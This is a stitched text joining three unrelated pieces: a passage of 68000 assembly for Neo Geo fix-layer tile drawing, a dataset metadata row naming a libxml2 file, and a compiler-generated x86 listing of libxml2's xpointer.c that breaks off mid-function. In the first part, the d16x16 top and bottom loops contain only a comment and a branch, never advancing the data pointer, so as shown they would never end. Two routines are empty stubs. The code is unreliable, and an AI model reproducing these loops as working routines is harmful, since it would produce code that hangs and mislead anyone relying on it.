fixmac_CalcVRAMAddr ; VRAM address check/combined cell loc. conversion
move.w d0,LSPC_ADDR ; set new VRAM address
move.w #$20,LSPC_INCR ; set VRAM increment +$20 (horiz. writing)
; draw top line
.fix_d16x16_TopLoop:
; check for end code
cmpi.b #$FF,(a0)
beq.b .fix_d16x16_FinishTop
;char and char+1
bra.b .fix_d16x16_TopLoop ; loop until finding $FF
.fix_d16x16_FinishTop:
; prepare to draw bottom line
; change VRAM address
move.w d0,d3 ; get original VRAM position
addi.w #$01,d3 ; add +1 for next vertical line
move.w d3,LSPC_ADDR ; set new VRAM address
; reset loop vars
; draw bottom line
.fix_d16x16_BotLoop:
; check for end code
cmpi.b #$FF,(a0)
beq.b .fix_d16x16_End
;char+$10 and char+$11
bra.b .fix_d16x16_BotLoop ; loop until finding $FF
.fix_d16x16_End:
rts
;==============================================================================;
; fix_DrawRegion
; Draws a rectangular region of tiles using a single palette and tile number MSB.
; (Params)
; d0 [word] Combined cell location (x,y) or raw VRAM address ($7000-$74FF)
; d1 [word] Combined rows/columns size ($YYXX)
; d2 [byte] Palette index and tile number MSB
; a0 [long] Pointer to data to draw
; (Clobbers)
; d5 Combined value to write to VRAM
; d6 Used for column/X size
; d7 Used for row/Y size
fix_DrawRegion:
fixmac_CalcVRAMAddr ; VRAM address check/combined cell loc. conversion
move.w d0,LSPC_ADDR ; set initial VRAM address
move.w #$20,LSPC_INCR ; set VRAM increment +$20 (horiz. writing)
; get rows
move.w d1,d7
andi.w #$FF00,d7
lsr.w #8,d7 ; shift right
; loop 1 (row/Y)
.fix_DrawRegion_Rows:
; get cols
move.w d1,d6
andi.w #$00FF,d6
; loop 2 (column/X)
.fix_DrawRegion_Cols:
moveq #0,d5 ; clear d5 for combiation
move.b d2,d5 ; copy d2 to d5
lsl.w #8,d5 ; shift d2 to upper byte
move.b (a0)+,d5 ; get byte from data
; write data
move.w d5,LSPC_DATA
; loop cols
dbra d6,.fix_DrawRegion_Cols
; update vram address
addi.w #1,d0
move.w d0,LSPC_ADDR
; loop rows
dbra d7,.fix_DrawRegion_Rows
.fix_DrawRegion_End:
rts
;==============================================================================;
; fix_FillRegion
; Fills a rectangular region of tiles with the specified tile.
; (Params)
; d0 [word] Combined cell location (x,y) or raw VRAM address ($7000-$74FF)
; d1 [word] Combined rows/columns size ($YYXX)
; d2 [word] Tile data to use for filling.
fix_FillRegion:
fixmac_CalcVRAMAddr ; VRAM address check/combined cell loc. conversion
move.w d0,LSPC_ADDR ; set initial VRAM address
move.w #$20,LSPC_INCR ; set VRAM increment +$20 (horiz. writing)
; get rows
move.w d1,d7
andi.w #$FF00,d7
lsr.w #8,d7 ; shift right
; loop 1 (row/Y)
.fix_FillRegion_Rows:
; get cols
move.w d1,d6
andi.w #$00FF,d6
; loop 2 (column/X)
.fix_FillRegion_Cols:
move.w d2,LSPC_DATA ; write data
; loop cols
dbra d6,.fix_FillRegion_Cols
; update vram address
addi.w #1,d0
move.w d0,LSPC_ADDR
; loop rows
dbra d7,.fix_FillRegion_Rows
.fix_FillRegion_End:
rts
;------------------------------------------------------------------------------;
; fix_ClearRegion
; Macro for clearing a region using tile $00FF.
; (Params)
; d0 [word] Starting combined cell location (x,y) or raw VRAM address ($7000-$74FF)
; d1 [word] Combined rows/columns size ($YYXX)
fix_ClearRegion: macro
move.w #$00FF,d2 ; clear tile
jsr fix_FillRegion
endm
;==============================================================================;
; fix_CopyToRAM
; Copies Fix tilemap data from VRAM to 68K RAM.
; (Params)
; a? [long] Starting 68K RAM location
; d? [word] Starting combined cell location (x,y) or raw VRAM address ($7000-$74FF)
; d? [word] Copy region size ($XXYY)
fix_CopyToRAM:
; force MESS_OUT busy? (don't modify while we read)
.fix_CopyToRAM_End:
rts
;==============================================================================;
; fix_WriteFromRAM
; Writes Fix tilemap data from 68K RAM to VRAM.
; (Params)
; a? [long] Starting 68K RAM location
; d? [word] Starting combined cell location (x,y) or raw VRAM address ($7000-$74FF)
; d? [word] Write region size ($XXYY)
fix_WriteFromRAM:
; force MESS_OUT busy? (don't modify while we write)
.fix_WriteFromRAM_End:
rts
;==============================================================================;
; fix_ClearAll
; Clears all tiles on the fix layer, including the leftmost and rightmost columns.
; Uses tile number $0FF, palette 0.
; (Clobbers)
; d7 Loop counter
fix_ClearAll:
move.w #$7000,LSPC_ADDR ; start at $7000 (end at $74FF)
move.w #1,LSPC_INCR ; VRAM increment +1
move.w #$4FF,d7 ; loop counter (xxx: does it need to be $4FF-1?)
.fix_ClearAll_Loop:
move.w #$00FF,LSPC_DATA ; write blank tile (palette 0, tile $0FF)
dbra d7,.fix_ClearAll_Loop ;loop
rts
| 29.490405 | 90 | 0.620346 |
6cf375579f238ddbe9dd15674ad69a7841b30bac | 244,842 | asm | Assembly | win32/VC10/Win32/libxml2_Release/xpointer.asm | txwizard/libxml2_x64_and_ARM | bc19a931370a09ee379d641a7c9a862fecebff3b | [
"MIT"
] | null | null | null | win32/VC10/Win32/libxml2_Release/xpointer.asm | txwizard/libxml2_x64_and_ARM | bc19a931370a09ee379d641a7c9a862fecebff3b | [
"MIT"
] | null | null | null | win32/VC10/Win32/libxml2_Release/xpointer.asm | txwizard/libxml2_x64_and_ARM | bc19a931370a09ee379d641a7c9a862fecebff3b | [
"MIT"
] | null | null | null | ; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27027.1
TITLE C:\Users\DAG\Documents\_Clients\CodeProject Authors Group\Windows on ARM\libxml2\libxml2-2.9.9\xpointer.c
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB MSVCRT
INCLUDELIB OLDNAMES
_DATA SEGMENT
COMM _xmlMalloc:DWORD
COMM _xmlMallocAtomic:DWORD
COMM _xmlRealloc:DWORD
COMM _xmlFree:DWORD
COMM _xmlMemStrdup:DWORD
COMM _xmlXPathNAN:QWORD
COMM _xmlXPathPINF:QWORD
COMM _xmlXPathNINF:QWORD
COMM _xmlIsBaseCharGroup:BYTE:010H
COMM _xmlIsCharGroup:BYTE:010H
COMM _xmlIsCombiningGroup:BYTE:010H
COMM _xmlIsDigitGroup:BYTE:010H
COMM _xmlIsExtenderGroup:BYTE:010H
COMM _xmlIsIdeographicGroup:BYTE:010H
COMM _xmlIsPubidChar_tab:BYTE:0100H
COMM _xmlParserMaxDepth:DWORD
COMM _forbiddenExp:DWORD
COMM _emptyExp:DWORD
_DATA ENDS
msvcjmc SEGMENT
__188180DA_corecrt_math@h DB 01H
__2CC6E67D_corecrt_stdio_config@h DB 01H
__05476D76_corecrt_wstdio@h DB 01H
__A452D4A0_stdio@h DB 01H
__4384A2D9_corecrt_memcpy_s@h DB 01H
__4E51A221_corecrt_wstring@h DB 01H
__2140C079_string@h DB 01H
__BEF3E6F7_xpointer@c DB 01H
msvcjmc ENDS
PUBLIC _xmlXPtrLocationSetCreate
PUBLIC _xmlXPtrFreeLocationSet
PUBLIC _xmlXPtrLocationSetMerge
PUBLIC _xmlXPtrNewRange
PUBLIC _xmlXPtrNewRangePoints
PUBLIC _xmlXPtrNewRangeNodePoint
PUBLIC _xmlXPtrNewRangePointNode
PUBLIC _xmlXPtrNewRangeNodes
PUBLIC _xmlXPtrNewLocationSetNodes
PUBLIC _xmlXPtrNewLocationSetNodeSet
PUBLIC _xmlXPtrNewRangeNodeObject
PUBLIC _xmlXPtrNewCollapsedRange
PUBLIC _xmlXPtrLocationSetAdd
PUBLIC _xmlXPtrWrapLocationSet
PUBLIC _xmlXPtrLocationSetDel
PUBLIC _xmlXPtrLocationSetRemove
PUBLIC _xmlXPtrNewContext
PUBLIC _xmlXPtrEval
PUBLIC _xmlXPtrRangeToFunction
PUBLIC _xmlXPtrBuildNodeList
PUBLIC _xmlXPtrEvalRangePredicate
PUBLIC _xmlXPtrAdvanceNode
PUBLIC __JustMyCode_Default
PUBLIC ??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@ ; `string'
PUBLIC ??_C@_0BB@DMDDEGKA@allocating?5point@ ; `string'
PUBLIC ??_C@_0BB@PBEHJOM@allocating?5range@ ; `string'
PUBLIC ??_C@_0BH@HNICMPAH@allocating?5locationset@ ; `string'
PUBLIC ??_C@_0BH@MIMPNDJH@adding?5location?5to?5set@ ; `string'
PUBLIC ??_C@_0BC@MDOPFBLJ@allocating?5buffer@ ; `string'
PUBLIC ??_C@_08DNJCJFMK@xpointer@ ; `string'
PUBLIC ??_C@_07HCLJNICE@element@ ; `string'
PUBLIC ??_C@_05PPEFOGKI@xmlns@ ; `string'
PUBLIC ??_C@_0BJ@PBEDODCO@unsupported?5scheme?5?8?$CFs?8?6@ ; `string'
PUBLIC ??_C@_0CG@PNGJONJE@warning?3?5ChildSeq?5not?5starting?5@ ; `string'
PUBLIC ??_C@_0BO@HMMGLLBJ@allocating?5evaluation?5context@ ; `string'
PUBLIC ??_C@_05CCGOGOBM@range@ ; `string'
PUBLIC ??_C@_0N@FPBCPIBK@range?9inside@ ; `string'
PUBLIC ??_C@_0N@NHPDEMLM@string?9range@ ; `string'
PUBLIC ??_C@_0M@KAHBAHMC@start?9point@ ; `string'
PUBLIC ??_C@_09BKKFPLJK@end?9point@ ; `string'
PUBLIC ??_C@_04NDJIBAID@here@ ; `string'
PUBLIC ??_C@_07NGBELOAG@?5origin@ ; `string'
PUBLIC ??_C@_0DF@PGJMIHPP@xmlXPtrEval?3?5evaluation?5failed?5@ ; `string'
PUBLIC ??_C@_0CP@NCKIHCDF@xmlXPtrEval?3?5object?$CIs?$CJ?5left?5on?5@ ; `string'
PUBLIC ??_C@_0GK@GBFDPHAH@c?3?2users?2dag?2documents?2_clients@ ; `string'
PUBLIC ??_C@_0BO@MDEMDPPE@Unimplemented?5block?5at?5?$CFs?3?$CFd?6@ ; `string'
PUBLIC ??_C@_0BJ@DADKHPPP@Internal?5error?5at?5?$CFs?3?$CFd?6@ ; `string'
EXTRN _xmlStrdup:PROC
EXTRN _xmlStrchr:PROC
EXTRN _xmlStrncmp:PROC
EXTRN _xmlStrEqual:PROC
EXTRN _xmlStrlen:PROC
EXTRN _xmlNewText:PROC
EXTRN _xmlNewTextLen:PROC
EXTRN _xmlCopyNode:PROC
EXTRN _xmlAddChild:PROC
EXTRN _xmlAddNextSibling:PROC
EXTRN _xmlResetError:PROC
EXTRN ___xmlRaiseError:PROC
EXTRN ___xmlGenericError:PROC
EXTRN ___xmlGenericErrorContext:PROC
EXTRN _xmlXPathFreeObject:PROC
EXTRN _xmlXPathObjectCopy:PROC
EXTRN _xmlXPathCmpNodes:PROC
EXTRN _xmlXPathNewContext:PROC
EXTRN _xmlXPathInit:PROC
EXTRN _xmlParseURI:PROC
EXTRN _xmlSaveUri:PROC
EXTRN _xmlFreeURI:PROC
EXTRN _xmlXPathErr:PROC
EXTRN _xmlXPathRegisterNs:PROC
EXTRN _xmlXPathRegisterFunc:PROC
EXTRN _xmlXPathNewParserContext:PROC
EXTRN _xmlXPathFreeParserContext:PROC
EXTRN _valuePop:PROC
EXTRN _valuePush:PROC
EXTRN _xmlXPathNewString:PROC
EXTRN _xmlXPathNewNodeSet:PROC
EXTRN _xmlXPathRoot:PROC
EXTRN _xmlXPathEvalExpr:PROC
EXTRN _xmlXPathParseName:PROC
EXTRN _xmlXPathParseNCName:PROC
EXTRN _xmlXPathEvaluatePredicateResult:PROC
EXTRN _xmlXPathIdFunction:PROC
EXTRN @__CheckForDebuggerJustMyCode@4:PROC
EXTRN _memset:PROC
; COMDAT ??_C@_0BJ@DADKHPPP@Internal?5error?5at?5?$CFs?3?$CFd?6@
CONST SEGMENT
??_C@_0BJ@DADKHPPP@Internal?5error?5at?5?$CFs?3?$CFd?6@ DB 'Internal erro'
DB 'r at %s:%d', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BO@MDEMDPPE@Unimplemented?5block?5at?5?$CFs?3?$CFd?6@
CONST SEGMENT
??_C@_0BO@MDEMDPPE@Unimplemented?5block?5at?5?$CFs?3?$CFd?6@ DB 'Unimplem'
DB 'ented block at %s:%d', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0GK@GBFDPHAH@c?3?2users?2dag?2documents?2_clients@
CONST SEGMENT
??_C@_0GK@GBFDPHAH@c?3?2users?2dag?2documents?2_clients@ DB 'c:\users\dag'
DB '\documents\_clients\codeproject authors group\windows on arm\'
DB 'libxml2\libxml2-2.9.9\xpointer.c', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CP@NCKIHCDF@xmlXPtrEval?3?5object?$CIs?$CJ?5left?5on?5@
CONST SEGMENT
??_C@_0CP@NCKIHCDF@xmlXPtrEval?3?5object?$CIs?$CJ?5left?5on?5@ DB 'xmlXPt'
DB 'rEval: object(s) left on the eval stack', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DF@PGJMIHPP@xmlXPtrEval?3?5evaluation?5failed?5@
CONST SEGMENT
??_C@_0DF@PGJMIHPP@xmlXPtrEval?3?5evaluation?5failed?5@ DB 'xmlXPtrEval: '
DB 'evaluation failed to return a node set', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_07NGBELOAG@?5origin@
CONST SEGMENT
??_C@_07NGBELOAG@?5origin@ DB ' origin', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04NDJIBAID@here@
CONST SEGMENT
??_C@_04NDJIBAID@here@ DB 'here', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09BKKFPLJK@end?9point@
CONST SEGMENT
??_C@_09BKKFPLJK@end?9point@ DB 'end-point', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0M@KAHBAHMC@start?9point@
CONST SEGMENT
??_C@_0M@KAHBAHMC@start?9point@ DB 'start-point', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0N@NHPDEMLM@string?9range@
CONST SEGMENT
??_C@_0N@NHPDEMLM@string?9range@ DB 'string-range', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0N@FPBCPIBK@range?9inside@
CONST SEGMENT
??_C@_0N@FPBCPIBK@range?9inside@ DB 'range-inside', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05CCGOGOBM@range@
CONST SEGMENT
??_C@_05CCGOGOBM@range@ DB 'range', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BO@HMMGLLBJ@allocating?5evaluation?5context@
CONST SEGMENT
??_C@_0BO@HMMGLLBJ@allocating?5evaluation?5context@ DB 'allocating evalua'
DB 'tion context', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CG@PNGJONJE@warning?3?5ChildSeq?5not?5starting?5@
CONST SEGMENT
??_C@_0CG@PNGJONJE@warning?3?5ChildSeq?5not?5starting?5@ DB 'warning: Chi'
DB 'ldSeq not starting by /1', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BJ@PBEDODCO@unsupported?5scheme?5?8?$CFs?8?6@
CONST SEGMENT
??_C@_0BJ@PBEDODCO@unsupported?5scheme?5?8?$CFs?8?6@ DB 'unsupported sche'
DB 'me ''%s''', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05PPEFOGKI@xmlns@
CONST SEGMENT
??_C@_05PPEFOGKI@xmlns@ DB 'xmlns', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_07HCLJNICE@element@
CONST SEGMENT
??_C@_07HCLJNICE@element@ DB 'element', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08DNJCJFMK@xpointer@
CONST SEGMENT
??_C@_08DNJCJFMK@xpointer@ DB 'xpointer', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BC@MDOPFBLJ@allocating?5buffer@
CONST SEGMENT
??_C@_0BC@MDOPFBLJ@allocating?5buffer@ DB 'allocating buffer', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BH@MIMPNDJH@adding?5location?5to?5set@
CONST SEGMENT
??_C@_0BH@MIMPNDJH@adding?5location?5to?5set@ DB 'adding location to set', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BH@HNICMPAH@allocating?5locationset@
CONST SEGMENT
??_C@_0BH@HNICMPAH@allocating?5locationset@ DB 'allocating locationset', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BB@PBEHJOM@allocating?5range@
CONST SEGMENT
??_C@_0BB@PBEHJOM@allocating?5range@ DB 'allocating range', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BB@DMDDEGKA@allocating?5point@
CONST SEGMENT
??_C@_0BB@DMDDEGKA@allocating?5point@ DB 'allocating point', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@
CONST SEGMENT
??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@ DB 'Memory al'
DB 'location failed : %s', 0aH, 00H ; `string'
CONST ENDS
; Function compile flags: /Odt
; COMDAT __JustMyCode_Default
_TEXT SEGMENT
__JustMyCode_Default PROC ; COMDAT
push ebp
mov ebp, esp
pop ebp
ret 0
__JustMyCode_Default ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrGetEndPoint
_TEXT SEGMENT
_obj$ = 8 ; size = 4
_node$ = 12 ; size = 4
_indx$ = 16 ; size = 4
_xmlXPtrGetEndPoint PROC ; COMDAT
; 2634 : xmlXPtrGetEndPoint(xmlXPathObjectPtr obj, xmlNodePtr *node, int *indx) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _obj$[ebp]
test ecx, ecx
je SHORT $LN5@xmlXPtrGet
; 2635 : if ((obj == NULL) || (node == NULL) || (indx == NULL))
mov edx, DWORD PTR _node$[ebp]
test edx, edx
je SHORT $LN5@xmlXPtrGet
mov esi, DWORD PTR _indx$[ebp]
test esi, esi
je SHORT $LN5@xmlXPtrGet
; 2637 :
; 2638 : switch (obj->type) {
mov eax, DWORD PTR [ecx]
sub eax, 5
je SHORT $LN6@xmlXPtrGet
sub eax, 1
jne SHORT $LN5@xmlXPtrGet
$LN6@xmlXPtrGet:
; 2639 : case XPATH_POINT:
; 2640 : *node = obj->user;
; 2641 : if (obj->index <= 0)
; 2642 : *indx = 0;
; 2643 : else
; 2644 : *indx = obj->index;
; 2645 : return(0);
; 2646 : case XPATH_RANGE:
; 2647 : *node = obj->user;
; 2648 : if (obj->index <= 0)
; 2649 : *indx = 0;
; 2650 : else
; 2651 : *indx = obj->index;
; 2652 : return(0);
; 2653 : default:
; 2654 : break;
; 2655 : }
; 2656 : return(-1);
; 2657 : }
mov eax, DWORD PTR [ecx+28]
mov DWORD PTR [edx], eax
xor eax, eax
mov ecx, DWORD PTR [ecx+32]
test ecx, ecx
cmovg eax, ecx
mov DWORD PTR [esi], eax
xor eax, eax
pop esi
pop ebp
ret 0
$LN5@xmlXPtrGet:
; 2636 : return(-1);
or eax, -1
pop esi
; 2639 : case XPATH_POINT:
; 2640 : *node = obj->user;
; 2641 : if (obj->index <= 0)
; 2642 : *indx = 0;
; 2643 : else
; 2644 : *indx = obj->index;
; 2645 : return(0);
; 2646 : case XPATH_RANGE:
; 2647 : *node = obj->user;
; 2648 : if (obj->index <= 0)
; 2649 : *indx = 0;
; 2650 : else
; 2651 : *indx = obj->index;
; 2652 : return(0);
; 2653 : default:
; 2654 : break;
; 2655 : }
; 2656 : return(-1);
; 2657 : }
pop ebp
ret 0
_xmlXPtrGetEndPoint ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrGetStartPoint
_TEXT SEGMENT
_obj$ = 8 ; size = 4
_node$ = 12 ; size = 4
_indx$ = 16 ; size = 4
_xmlXPtrGetStartPoint PROC ; COMDAT
; 2598 : xmlXPtrGetStartPoint(xmlXPathObjectPtr obj, xmlNodePtr *node, int *indx) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _obj$[ebp]
test ecx, ecx
je SHORT $LN5@xmlXPtrGet
; 2599 : if ((obj == NULL) || (node == NULL) || (indx == NULL))
mov edx, DWORD PTR _node$[ebp]
test edx, edx
je SHORT $LN5@xmlXPtrGet
mov esi, DWORD PTR _indx$[ebp]
test esi, esi
je SHORT $LN5@xmlXPtrGet
; 2601 :
; 2602 : switch (obj->type) {
mov eax, DWORD PTR [ecx]
sub eax, 5
je SHORT $LN6@xmlXPtrGet
sub eax, 1
jne SHORT $LN5@xmlXPtrGet
$LN6@xmlXPtrGet:
; 2603 : case XPATH_POINT:
; 2604 : *node = obj->user;
; 2605 : if (obj->index <= 0)
; 2606 : *indx = 0;
; 2607 : else
; 2608 : *indx = obj->index;
; 2609 : return(0);
; 2610 : case XPATH_RANGE:
; 2611 : *node = obj->user;
; 2612 : if (obj->index <= 0)
; 2613 : *indx = 0;
; 2614 : else
; 2615 : *indx = obj->index;
; 2616 : return(0);
; 2617 : default:
; 2618 : break;
; 2619 : }
; 2620 : return(-1);
; 2621 : }
mov eax, DWORD PTR [ecx+28]
mov DWORD PTR [edx], eax
xor eax, eax
mov ecx, DWORD PTR [ecx+32]
test ecx, ecx
cmovg eax, ecx
mov DWORD PTR [esi], eax
xor eax, eax
pop esi
pop ebp
ret 0
$LN5@xmlXPtrGet:
; 2600 : return(-1);
or eax, -1
pop esi
; 2603 : case XPATH_POINT:
; 2604 : *node = obj->user;
; 2605 : if (obj->index <= 0)
; 2606 : *indx = 0;
; 2607 : else
; 2608 : *indx = obj->index;
; 2609 : return(0);
; 2610 : case XPATH_RANGE:
; 2611 : *node = obj->user;
; 2612 : if (obj->index <= 0)
; 2613 : *indx = 0;
; 2614 : else
; 2615 : *indx = obj->index;
; 2616 : return(0);
; 2617 : default:
; 2618 : break;
; 2619 : }
; 2620 : return(-1);
; 2621 : }
pop ebp
ret 0
_xmlXPtrGetStartPoint ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrGetLastChar
_TEXT SEGMENT
_node$ = 8 ; size = 4
_indx$ = 12 ; size = 4
_xmlXPtrGetLastChar PROC ; COMDAT
; 2552 : xmlXPtrGetLastChar(xmlNodePtr *node, int *indx) {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _node$[ebp]
test edi, edi
je SHORT $LN5@xmlXPtrGet
; 2553 : xmlNodePtr cur;
; 2554 : int pos, len = 0;
; 2555 :
; 2556 : if ((node == NULL) || (*node == NULL) ||
; 2557 : ((*node)->type == XML_NAMESPACE_DECL) || (indx == NULL))
mov esi, DWORD PTR [edi]
test esi, esi
je SHORT $LN5@xmlXPtrGet
mov eax, DWORD PTR [esi+4]
cmp eax, 18 ; 00000012H
je SHORT $LN5@xmlXPtrGet
mov ebx, DWORD PTR _indx$[ebp]
test ebx, ebx
je SHORT $LN5@xmlXPtrGet
; 2561 :
; 2562 : if ((cur->type == XML_ELEMENT_NODE) ||
; 2563 : (cur->type == XML_DOCUMENT_NODE) ||
cmp eax, 1
je SHORT $LN7@xmlXPtrGet
cmp eax, 9
je SHORT $LN7@xmlXPtrGet
cmp eax, 13 ; 0000000dH
jne SHORT $LN15@xmlXPtrGet
$LN7@xmlXPtrGet:
; 2558 : return(-1);
; 2559 : cur = *node;
; 2560 : pos = *indx;
mov eax, DWORD PTR [ebx]
; 2564 : (cur->type == XML_HTML_DOCUMENT_NODE)) {
; 2565 : if (pos > 0) {
test eax, eax
jle SHORT $LN15@xmlXPtrGet
; 2566 : cur = xmlXPtrGetNthChild(cur, pos);
push eax
push esi
call _xmlXPtrGetNthChild
add esp, 8
mov esi, eax
$LN15@xmlXPtrGet:
; 2567 : }
; 2568 : }
; 2569 : while (cur != NULL) {
test esi, esi
je SHORT $LN5@xmlXPtrGet
$LL2@xmlXPtrGet:
; 2570 : if (cur->last != NULL)
mov eax, DWORD PTR [esi+16]
test eax, eax
je SHORT $LN9@xmlXPtrGet
; 2571 : cur = cur->last;
mov esi, eax
test esi, esi
jne SHORT $LL2@xmlXPtrGet
$LN5@xmlXPtrGet:
pop edi
; 2585 : }
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN9@xmlXPtrGet:
; 2572 : else if ((cur->type != XML_ELEMENT_NODE) &&
cmp DWORD PTR [esi+4], 1
je SHORT $LN5@xmlXPtrGet
mov eax, DWORD PTR [esi+40]
test eax, eax
je SHORT $LN5@xmlXPtrGet
; 2573 : (cur->content != NULL)) {
; 2574 : len = xmlStrlen(cur->content);
push eax
call _xmlStrlen
add esp, 4
; 2575 : break;
; 2576 : } else {
; 2577 : return(-1);
; 2578 : }
; 2579 : }
; 2580 : if (cur == NULL)
; 2581 : return(-1);
; 2582 : *node = cur;
mov DWORD PTR [edi], esi
; 2583 : *indx = len;
mov DWORD PTR [ebx], eax
; 2584 : return(0);
xor eax, eax
pop edi
; 2585 : }
pop esi
pop ebx
pop ebp
ret 0
_xmlXPtrGetLastChar ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrSearchString
_TEXT SEGMENT
tv429 = -28 ; size = 4
_len$1$ = -24 ; size = 4
_pos$1$ = -20 ; size = 4
_first$ = -16 ; size = 1
_cur$1$ = -12 ; size = 4
_string$1$ = -8 ; size = 4
_pos$2$ = -4 ; size = 4
_string$ = 8 ; size = 4
_start$ = 12 ; size = 4
_startindex$ = 16 ; size = 4
_end$ = 20 ; size = 4
_endindex$ = 24 ; size = 4
_xmlXPtrSearchString PROC ; COMDAT
; 2468 : xmlNodePtr *end, int *endindex) {
push ebp
mov ebp, esp
sub esp, 28 ; 0000001cH
mov ecx, OFFSET __BEF3E6F7_xpointer@c
push ebx
push edi
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _string$[ebp]
test ecx, ecx
je $LN8@xmlXPtrSea
; 2469 : xmlNodePtr cur;
; 2470 : const xmlChar *str;
; 2471 : int pos; /* 0 based */
; 2472 : int len; /* in bytes */
; 2473 : xmlChar first;
; 2474 :
; 2475 : if (string == NULL)
; 2476 : return(-1);
; 2477 : if ((start == NULL) || (*start == NULL) ||
; 2478 : ((*start)->type == XML_NAMESPACE_DECL) || (startindex == NULL))
mov eax, DWORD PTR _start$[ebp]
test eax, eax
je $LN8@xmlXPtrSea
mov ebx, DWORD PTR [eax]
mov DWORD PTR _cur$1$[ebp], ebx
test ebx, ebx
je $LN8@xmlXPtrSea
cmp DWORD PTR [ebx+4], 18 ; 00000012H
je $LN8@xmlXPtrSea
mov edx, DWORD PTR _startindex$[ebp]
test edx, edx
je $LN8@xmlXPtrSea
; 2480 : if ((end == NULL) || (endindex == NULL))
mov edi, DWORD PTR _end$[ebp]
test edi, edi
je $LN8@xmlXPtrSea
mov eax, DWORD PTR _endindex$[ebp]
test eax, eax
je $LN8@xmlXPtrSea
; 2481 : return(-1);
; 2482 : cur = *start;
; 2483 : pos = *startindex - 1;
; 2484 : first = string[0];
mov cl, BYTE PTR [ecx]
push esi
mov esi, DWORD PTR [edx]
dec esi
mov BYTE PTR _first$[ebp], cl
npad 7
$LL2@xmlXPtrSea:
; 2485 :
; 2486 : while (cur != NULL) {
; 2487 : if ((cur->type != XML_ELEMENT_NODE) && (cur->content != NULL)) {
cmp DWORD PTR [ebx+4], 1
je $LN61@xmlXPtrSea
mov eax, DWORD PTR [ebx+40]
test eax, eax
je $LN66@xmlXPtrSea
; 2488 : len = xmlStrlen(cur->content);
push eax
call _xmlStrlen
add esp, 4
mov DWORD PTR _len$1$[ebp], eax
; 2489 : while (pos <= len) {
cmp esi, eax
jg $LN66@xmlXPtrSea
npad 7
$LL4@xmlXPtrSea:
; 2490 : if (first != 0) {
cmp BYTE PTR _first$[ebp], 0
je $LN12@xmlXPtrSea
; 2491 : str = xmlStrchr(&cur->content[pos], first);
mov eax, DWORD PTR [ebx+40]
push DWORD PTR _first$[ebp]
add eax, esi
push eax
call _xmlStrchr
mov ecx, eax
add esp, 8
; 2492 : if (str != NULL) {
test ecx, ecx
je $LN14@xmlXPtrSea
; 2493 : pos = (str - (xmlChar *)(cur->content));
sub ecx, DWORD PTR [ebx+40]
; 2393 : if ((start == NULL) || (start->type == XML_NAMESPACE_DECL))
cmp DWORD PTR [ebx+4], 18 ; 00000012H
; 2494 : #ifdef DEBUG_RANGES
; 2495 : xmlGenericError(xmlGenericErrorContext,
; 2496 : "found '%c' at index %d of ->",
; 2497 : first, pos + 1);
; 2498 : xmlDebugDumpString(stdout, cur->content);
; 2499 : xmlGenericError(xmlGenericErrorContext, "\n");
; 2500 : #endif
; 2501 : if (xmlXPtrMatchString(string, cur, pos + 1,
mov edx, DWORD PTR _string$[ebp]
mov DWORD PTR _pos$2$[ebp], ecx
mov DWORD PTR _string$1$[ebp], edx
; 2393 : if ((start == NULL) || (start->type == XML_NAMESPACE_DECL))
je $LN58@xmlXPtrSea
; 2394 : return(-1);
; 2395 : if ((end == NULL) || (*end == NULL) ||
; 2396 : ((*end)->type == XML_NAMESPACE_DECL) || (endindex == NULL))
mov eax, DWORD PTR [edi]
test eax, eax
je $LN58@xmlXPtrSea
cmp DWORD PTR [eax+4], 18 ; 00000012H
je $LN58@xmlXPtrSea
; 2397 : return(-1);
